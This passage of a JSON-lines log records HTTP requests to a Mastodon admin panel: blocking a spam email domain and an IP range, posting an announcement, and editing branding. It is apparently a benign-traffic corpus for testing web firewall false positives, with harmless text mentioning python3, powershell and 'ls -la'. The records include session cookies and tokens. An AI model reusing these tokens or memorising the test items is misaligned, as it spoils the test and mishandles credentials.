_mastodon_session=XS%2FgM9qxAkibvuPqWv4K4SVCV8K47wxegwnawGadeU%2Bfsm05TcAo7H4ZLWAsxdGRfrpSymWu9j7l3OteUpoQHprgyVcSp61HEFOi%2FKf61cjEFmURP%2BlLnnn3SpfpwjA3%2FKdrltZXEAbV6aTLR7yhXYSrQu9TR5ubqrxiLo9cxtO3RpQm3gQdolJPwEwC0qEEywUoiElXOaTPr4Cp3qxzR4HLweFlEbO8a8%2FY3DxK4B8XuZ%2FipdBU3D47VA2UUhTmOzm5Cjigk58%2BpUzaX97pq9f%2FTI2VgP0uGyJ7aYqOCmHIj%2FoRPQyWmU%2BNN%2FJMLMOfgzhRjMTA4M1PaKiaPwBo55zEDI49AuRervdMI7rf5lNZ1SuIP8sVxwk%2BE2HOMC8o%2FQLR77YFpz5%2F--7kK17PUx6KZMcRRs--nbYtDwqjM7G%2FiwiAf6RX7g%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/email_domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 204", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/email_domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjcuMDg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--452c3745a24ba12f10045cbf12ab79fd89a06560; _mastodon_session=ls5GnDYtF9%2BZHeBNv8QsoPUGN9vWygQK0Q4fEa%2BDUSu9FkGTaXXvMhHnl4ENLsNEUO4EcpDdZYiRR5MW35%2BlR4A%2BulqUu6Ahw2RdfumPEPwwab6jqNdy%2BrEKFLV4TYEo%2B0k2rYJcb%2BD75%2FcA9mcHddQCE9whMM8kQYV4npgpTp%2F6UI1JS8wMsklIaum7yGOcUpZCJAy5A0G09pibnGI0FeBfRvAfQH24jMfLVlZdGYqrVH1NauwlqlufSCPTJ4FDz37pth1cCTL%2Fxxbm7AqyxN442m27i7xaMTJOZsevj0Elsi0ixY0gSD5BELnwdmzMTpo3wtldapJduqwvWtrQKziyfK%2FgPPz9spr%2BaFS67K%2FVNZOGQYjEOv5Wf%2FpzdAnpeGPsgYZOv5v6--FxtdisUNfm8sOnNu--7dGXbVpWCblcuGNM3JFxMw%3D%3D"], "body": "authenticity_token=TPzeJA2bYJ2wVg6tXA0YPhOu6vzyixQfohyk9j0SBeMyWPq3kSaKceLiKk9BPpp78naE-IX1WgSZg7UixVitOA&email_domain_block%5Bdomain%5D=spam.example&email_domain_block%5Ballow_with_approval%5D=0&resolve="}
{"method": "GET", "target": "/admin/ip_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjkuOTY5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--34510cc16ed1fe589a96dc7b1f0bed36f6f82a76; _mastodon_session=a1JgCoLt6TDQwFms7KOCztuWGyJfYtGyZ3GEiI9jUUbJpKJ9VR6CBvC%2BSq5vOGzPpbUfQQqEkZn3SwB6w2P0uf653IHRURd3CM9j8Bw%2FOZYFOITHUwL08l7MNmEAik%2FvHGEkiYIiJHlFe3I%2FyfCF3C2KQff9G9Xs6q7JWq4m9edJRPdb9ftKDmnoH%2F0H66BqLm08iLWEOGNDjzfHvZmanZiLiDdEx0pA3t%2FdqEcLfJeDJ2TZVHHqdLCMylRC0cxit3oHVh%2F3nD9xpwvB5XY3rmcfxg7rGJ8eyQCRopRllX4%2FGhXqHFwV6HnH2KswqDz8jOEjSwOJJnPdkpyrP%2BXe1LNaX8snKdNrrjecEySrv5JnaVViTDYmlRdu6EnJLMvrHl%2BINGzxVe35--EMkfhIEeM2hCxbQt--Y2qSfsw%2FYWwioKDrnTVmgA%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 290", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/ip_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzAuMjk0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--29523232f18007b3cdf28bcea4668c757fd396d4; _mastodon_session=dGgRedzdPz0Hto6JkkvowWVDuyW5zgeXnkzzohLB7RnmtwsizKYyAWbZ%2FOcmB%2FBbp6Ikb70hx%2F8yCiMTKa%2BcWNRqFT9aoTvKSQfMBrzeQU02C3LUSPatyNXvrzK20jR3pRzuxrshFS11vkC%2BR2cK%2FMjoONArmegtr1A9smozW8IkQ03KLPWNJfyTAqe1fMMvL1I9D%2FUBrt93TMcgxGfvNBpvWk51ApMbSRNqaFfShcfIJmKDWtzOAlVfoh3zSLSEFege3%2BAdI6wCwFs%2FMBKwYi%2BZ5d4N64ECjDWfVDRcJj%2BykpDP%2BwbiQvaQvU14Y2YeGeXFQtRdpDZLVXTsyZg9wT5RmcN8vdydzA%2F%2F0EUz2TkbzptYn0rsIrOrtLR6t7Cw%2Fw1NGqArFR10--x3sO%2B2TG5kyKbpI%2F--YM8DeGzxglGELy6EzELFog%3D%3D"], "body": "authenticity_token=KROY_blrRl-NpBMidcSD23e3Dg9q2e0ZPC670MDcQZ0RNrGJxtGLxuSy5OiqXBsLZ1BfL6amLwNqt2XAt137DA&ip_block%5Bip%5D=192.0.2.0%2F24&ip_block%5Bexpires_in%5D=31556952&ip_block%5Bseverity%5D=&ip_block%5Bseverity%5D=no_access&ip_block%5Bcomment%5D=Signups+running+python3+scripts&button="}
{"method": "GET", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/ip_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuMDA1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4633049dea115bde7f605f4306d25be255fd1cf0; _mastodon_session=pyKRZqtCEY4GekaM8LY1%2BIG0YoMXBEbMCg2pZHou%2BdfRzj%2Fj8bT7Cuitwiwff1hqoX89CDSceIY0B47TY3Yve3kUCzUYOTF94FP4oeYRm%2Fz6OzP2NmB%2Bo6GdK%2FjnDoQLXfP2MvFY3uEvdQ5oRP99k0Oc7aHLvrSXTSL%2FRfr5a19WtvkLEm65hwkbyuArQ4TkEGR3VASNH2LbnkJDb93NBEa4fJTuhd2SGZdYHXpriZGCEQOWpdgW7bp8YKTTLGZ048uq3V1vck%2FI1BP1Z8tlFZmsauxtx6E5umeQArF3lri5CPAZ8PdYTvq%2F1qvswH2t2EeuPQA%2FnKm%2BN430dPoqCPilESrOoodO5uFwQ353FCcMLJKuIrHGu%2FzCDebg1CrqYM1cSewfhkpk9EztYshhKltz6hYK8gN6BX5mxACkXXa0bIhHP9BWXD0LMSwA0YON9BNBjpeqnRwsZHreCw7pN11XkaSbqtOP55uK6giy0oWvtboH0xNQmyAa%2Bb53ZvKISWWQe5lsE9d8zswhrliRj2I%3D--L7t%2BZ0cGdWaB%2Bl7w--0RjkY%2BTSQunvzqpssYgwpQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuMDQwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0a95f23a97cba1deb056bf2e11240de2e5db68c0; _mastodon_session=zASPRkwCVZXDwzqk3Yo8SiXqxP8Uh3diTsfgZYLJy3kfJAesBfC%2FqtoZXE6%2FeOdKax2AM%2FLFGS%2F6cnGCVSYNsQRaEJgbeNrN%2B00YSDqO2V6wTCjESYwrpxKNeP9W3rBgQt5sfKSGvc6wu2Lsk4W9ej2DfmLrcQzH6EeEuyVCpncB3U5I%2FbEBKVfhgHOareUSXu9p9Zh603uXYyL1o79Evox2UNU6i6lxbR435XuPK9eRv1TR5jz%2BpxV6t3HOArrXyHwvwZSiKtx2zhjTEknIs8I%2B2qIJmH8TOGlXPNbFWRQZaWYjKa61HLAWKsXFSsZFKB2iEJKYadQfhE7DXOMR6p7k%2FgG7uIwaCt11LYHmNgwQodnnjxhUBq1ZBZSq7loeAXMGN2TrXFJx--W4li6by68qd3ZFPL--Zy59buBau0tOfskoMaqr4g%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/polyfills-BO_K2Jdc.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/rules", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuNDMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27cca1c866f1db79a27e9e0deba8a8f2f268ea0c; _mastodon_session=C4NAubBD8YJPam%2BezzYeJcKw6wH%2FvHhRvYl2K2%2BCAO3wNSn4wVJnOXBmoNorFjcacrBp5FT6Tfv%2FPq1Wi6NjBFIrkctu1%2Fwsnf1W41lWPr59cQq%2FHq1VD8P%2Flly0hYZY4Ab2SEkUa8V7CcfXSbfd%2B6Pb5DJpYWEC9wWedrFMi9NyKTiTwvaiJrNYNREyuMKXqUbD1raUXc5Jo1ZZ3ay1ERMiJYcV94w3Q8FEg%2Bwvhe1TW0ilpMVPKCoYok7iCCxS2mAtj0RCAFE3i3YizRbuXNqemfClEHOJwL44QzyG7yvdrKluKhhMkMhLhd0GdnbnThGCdwP9J3FOHwyEsXBigXmMHGb2CBWD0Yb2gigyl3XqKuoSDfQq%2BKJy%2BOxtOGkMXOLegdqpqtm1--FAQ4xdI4FzAXKdgH--jOD5qAAaJmKgLrpLuk0MKw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/announcements/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuNDMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27cca1c866f1db79a27e9e0deba8a8f2f268ea0c; _mastodon_session=C4NAubBD8YJPam%2BezzYeJcKw6wH%2FvHhRvYl2K2%2BCAO3wNSn4wVJnOXBmoNorFjcacrBp5FT6Tfv%2FPq1Wi6NjBFIrkctu1%2Fwsnf1W41lWPr59cQq%2FHq1VD8P%2Flly0hYZY4Ab2SEkUa8V7CcfXSbfd%2B6Pb5DJpYWEC9wWedrFMi9NyKTiTwvaiJrNYNREyuMKXqUbD1raUXc5Jo1ZZ3ay1ERMiJYcV94w3Q8FEg%2Bwvhe1TW0ilpMVPKCoYok7iCCxS2mAtj0RCAFE3i3YizRbuXNqemfClEHOJwL44QzyG7yvdrKluKhhMkMhLhd0GdnbnThGCdwP9J3FOHwyEsXBigXmMHGb2CBWD0Yb2gigyl3XqKuoSDfQq%2BKJy%2BOxtOGkMXOLegdqpqtm1--FAQ4xdI4FzAXKdgH--jOD5qAAaJmKgLrpLuk0MKw%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 308", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/announcements/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDYuMzM4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2fa1141b943b5e47a82df7250b4f9fbba8b5af30; _mastodon_session=3r95%2BUmpz40KbRC0GGE0c61esQPfZkznJaR8lXejOEnaV9Tiekb8oJAiNxAFsRyxeaKIEeg7SOq%2FONhIUQI0PomoAeQnbQGm4%2FM6aXw7uVN3ARyzz2bVW0eVmJBpD96rNRIsYDn5LtvCH%2BjR5o9MioAekmxoBY9XxWRryyn%2F3OyqrB038q65KnH6vRuubSXTvuRjZbiwTI3kT%2FyM5cwwXhrYNJM3nnCOFOuS0r9EARMyILae51euD3F%2BQ674x4ipczL03Hx%2Fsak4cJ7rj4fUda5rhbEU4AWhT1QnZfLfg0lMTUdCW17IUbBaMLE3rCQ3JPqeymp4xXONYhGL8vY%2FvKjZzzWeipfD9ZklWDMa%2FEi3Ox9ynkgpaIhBm05LptF%2BpFYtEMGWNugT--%2FgY4P7hwpd96Ltw9--WC4a%2BiCCq0%2B0RIVnJF%2FY6A%3D%3D"], "body": "authenticity_token=xVadhg4Y_iKoHFT95qnCai4mq0HvrsR7i2wkL7JbVuDoZQWRyEJxwEgeaUlASzpPM5ZdKPhpA1_AWu6Sdq_Nkg&announcement%5Bstarts_at%5D=&announcement%5Bends_at%5D=&announcement%5Ball_day%5D=0&announcement%5Btext%5D=Maintenance+tonight%3A+python3+upgrade%2C+ls+-la+checks&announcement%5Bscheduled_at%5D=&button="}
{"method": "GET", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/announcements/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuMzgzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3d67c8f8127fa5e75497be9d601bfb3e4ea22e08; _mastodon_session=ktF%2F8m62uGVKKe6ITzjOqlOOw4gRGyvFYv%2Bd2Hv%2BLth0mPAMoUbtsKQpO%2FPlJstLfFIupZ3ElFTLewz84MbNOM%2FAKLns0QLxM40Y7%2FBTBtxi4akMVqQPaI8PYs5MmLehBZDBkgQlMX%2B7qXrLEuKRjoBNGSQE24WjRnGprUGdCqGPy3SNuoi7q%2FbvFbNklQmAPebUDE9QRYa%2BCjk1nuI5wi3pz0KqyZPokzVbnebfxbj1zETgSyIjbDHS2k7DSYX9SZCHCVskxqbiBDi6EB8HRmKiMqzdybjHMJNjZplYfJhrcQHCBKsAd31w3zqT37G4S%2BgYzcluHrPYJi2cDIDkKgqYEKV8DL5eJX6tUE0ydo52KXq7UyPVnocHGYty7fu22ecOYTaZDHAEuz0bDnAnAvKNRv7ldxvsMyjENiBsTl%2BL8%2FGtU2T6W686c%2FMsBAUW6Ibgff30Y6bzhQr0lRdqskyBJL5ExKnCpJZkCywDwsuoloe1tUoZbgzX%2BUjW%2FRM99HNap%2B7RxpMhFWq16daBm4UbaLMYg0S%2FWg%3D%3D--vYfUJzVf590%2By35c--IvJ81SLwqpE6OZ1FO3W2Gg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuNDA5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b9a396fd330755ae1bcc67de6c50a72fa6317441; _mastodon_session=b6QexfHqbwiAR0Dc0HG7whPfglqxYoOXVlBmmkM6ap1xULNY7YsuDxQUOYpRRNF0o4xf%2BuudcdpLIaLVG1a9nh5jNmK5qeFx45bWpiCP9go5xEtK7DspefKq1tvamqxr%2BB%2BTYwhSZPiICbNwuwEbgKa2dp%2BukKv9SHnMz5yMt6hlPZnc6IiIxzjAmGJVhpDYPu6EoZfDsHJ0Mb1VZimHZZOyYtn2CQikONZfCDfD747uEkig%2FcjVeM8w7MJwE%2BTYTA05HIL7RmhPZh7FjvPJubekwPORazd3Q%2BUeVIAE%2FMGavBBQgvXkXwsY%2BSISS8VHtm13tVG%2B0oDRLnAM6E2HEfhgbZpoSetGBeTQ6fK2mb2sxvnDzfUhtlfeWWDAMSPr3RK0iJr3JF2A--BPOl15QO5rUWNWum--pP1nRAy%2Bq%2BYrefS2BjfHng%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1760", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBus0dNQxdGU0ymA8", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/settings/branding", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuNzMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--37e4c63f47333c5d904e889e86fb89cff6a3b908; _mastodon_session=El0%2Bunihpv5oKmWEYqYL3CCkDYclpcA%2Bo8LPjwOrQ%2Fhq7WoJoe6OkPy7qmVVKSvR62qvfs9xK7AIbfOL0wWM5my2bJxl1Tu7YH%2FtjCdkDMhDIVeTx63yp%2Bh9s2CeWqRGhgc4ro9gFDBBfoeBSi9Ayp7AjMhN2UjBlDPGHR6z6XCrKGVWfRB%2Bb1P8su9cZy7CiOIP21TK7vz76glcMufzsuy4HKQYc0O4zyDOjPeYIFwGWIBzJm8iWpXYfE2F3ebtfpFvIsw7wgdgtkM4fQt1ZLLmISwF%2FBj7kZYyZgus2K%2FKj52kHLlnaMT4ym4r37raIAZ%2FxvBOSEKWRisxS5MV7IyyRiSPqtZjTdLpZUGgURq0wsPW0Qexa659O6msNlnMuCblcsvZmPeO--UyO29PyGZYx97Pa7--bQ9lbi8brnPGxR%2BFQgI5Lg%3D%3D"], "body": "------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"_method\"\r\n\r\npatch\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"authenticity_token\"\r\n\r\nRTJLo-YR6R8Y3S4H3-X2c8AlL-EIh8OiI5lasSjHmPDX3JQW8zPV-8lclHQxwpMq60k-w0TgqKZfGi-KKpt6tw\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_title]\"\r\n\r\nPython3 social\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_contact_username]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_contact_email]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_short_description]\"\r\n\r\nA place to talk about python3, powershell, ls -la and .htaccess\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[thumbnail]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[favicon]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[app_icon]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[landing_page]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[landing_page]\"\r\n\r\ntrends\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"button\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8--\r\n"}
